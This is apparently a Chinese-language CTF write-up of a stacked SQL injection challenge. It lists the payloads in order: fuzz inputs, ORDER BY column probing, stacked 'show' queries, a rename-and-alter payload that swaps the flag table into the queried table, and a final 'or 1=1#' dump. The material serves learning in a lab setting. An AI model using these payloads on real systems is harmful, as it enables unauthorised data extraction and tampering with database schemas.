题目链接

FUZZ测试

1’

1'order by 2 #

1'order by 3 #

1';show databases;#

1';show tables;#

1';show columns from  words;#

测试判断数据库查询语句为

select * from words where id=$_inject;

页面显示的‘haha’为数据库表中id=1的值，现在可以将存有flag值的表名称改为words，并将列名flag改为id，查询语句如下,最后用or 1=1# 查出flag

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#

1'or 1=1#